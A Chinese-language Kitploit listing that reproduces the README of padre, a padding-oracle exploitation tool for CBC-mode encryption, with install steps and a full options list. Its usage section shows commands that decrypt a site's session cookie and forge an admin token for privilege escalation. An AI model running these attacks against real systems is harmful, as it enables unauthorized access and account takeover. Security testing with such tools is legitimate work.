Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
padre — 极速高级 Padding Oracle 漏洞利用 | Kitploit
工具/GitHubGitHub/glebarez/padre
漏洞利用Web安全密码学渗透测试
GitHubglebarez/padre

padre

极速高级 Padding Oracle 漏洞利用

查看仓库
280281年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Publish release

padre

padre 是一个针对 CBC 模式加密的 Padding Oracle 攻击的高级利用工具

功能:

  • 极速、并发实现
  • 令牌解密
  • 任意数据加密
  • 自动识别填充预言机
  • 自动检测密文块长度
  • 提示!如果操作失败,padre 会提示你哪些参数可以调整以成功
  • 支持 GET/POST 参数、Cookie 中的令牌
  • 灵活的编码规则定义(base64、hex 等)

演示

demo

安装/更新

  • 最快的方式是从 Latest release 下载针对你操作系统的预编译二进制文件

  • 或者,如果你已安装 Go,从源码构建:

root@kitploit:~
go install github.com/glebarez/padre@latest

使用场景

如果你发现一个疑似 padding oracle,其中加密数据存储在名为 SESS 的 cookie 中,你可以使用以下命令:

root@kitploit:~
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='

padre 会自动对 HTTP 响应进行指纹识别,以确定是否可以确认 padding oracle。如果服务器确实存在漏洞,提供的令牌将被解密成类似如下内容:

root@kitploit:~
 {"user_id": 456, "is_admin": false}

看起来你可以提升权限了!

你可以尝试通过首先生成你自己的加密数据来实现,该数据会被 oracle 解密成某种隐匿的明文:

root@kitploit:~
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'

这将输出另一组编码后的加密数据,可能类似下面这样(如果使用 base64):

root@kitploit:~
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

现在你可以打开浏览器,将 SESS cookie 的值设置为上述值。加载原始 oracle 页面,你现在应该看到自己已提升为管理员级别。

Padding Oracle 的影响

  • 泄露加密的会话信息
  • 绕过身份验证
  • 提供服务器信任的伪造令牌
  • 总体上,大幅扩展攻击面

完整使用选项

root@kitploit:~
Usage: padre [OPTIONS] [INPUT]

INPUT: 
	解密模式:加密数据
	加密模式:需要加密的明文
	如果未传入,将从 STDIN 读取

	注意:二进制数据总是经过 HTTP 编码。如有需要可调整编码规则(参见选项:-e, -r)

OPTIONS:

-u *必需*
	目标 URL,使用 $ 字符定义令牌占位符(如果 URL 中存在)

-enc
	加密模式

-err
	正则表达式模式,HTTP 响应体将与此匹配以检测 padding oracle。省略则执行自动指纹识别

-e
	应用于二进制数据的编码。支持的值:
		b64(标准 base64)*默认*
		lhex(小写十六进制)

-r
	编码二进制数据后应用的额外替换。使用奇数长度的字符串,由字符对 <旧><新> 组成。
	示例:
		如果服务器使用 base64,但将 '/' 替换为 '!','+' 替换为 '-','=' 替换为 '~',则使用 -r "/!+-=~"

-cookie
	HTTP 请求中设置的 Cookie 值。使用 $ 字符标记令牌占位符。

-post
	执行 POST 请求的字符串数据。使用 $ 字符标记令牌占位符。

-ct
	POST 请求的 Content-Type。如果未指定,将自动确定 Content-Type。
	
-b
	密码中使用的块长度(AES 使用 16)。省略则执行自动检测。支持的值:
		8
		16 *默认*
		32

-p
	到目标服务器建立的并行 HTTP 连接数 [1-256]
		30 *默认*
		
-proxy
	HTTP 代理。例如,对 Burp 或 ZAP 使用 -proxy "http://localhost:8080"

进一步阅读

  • https://blog.skullsecurity.org/2013/a-padding-oracle-example
  • https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data

替代工具

  • https://github.com/liamg/pax
  • https://github.com/AonCyberLabs/PadBuster
下载工具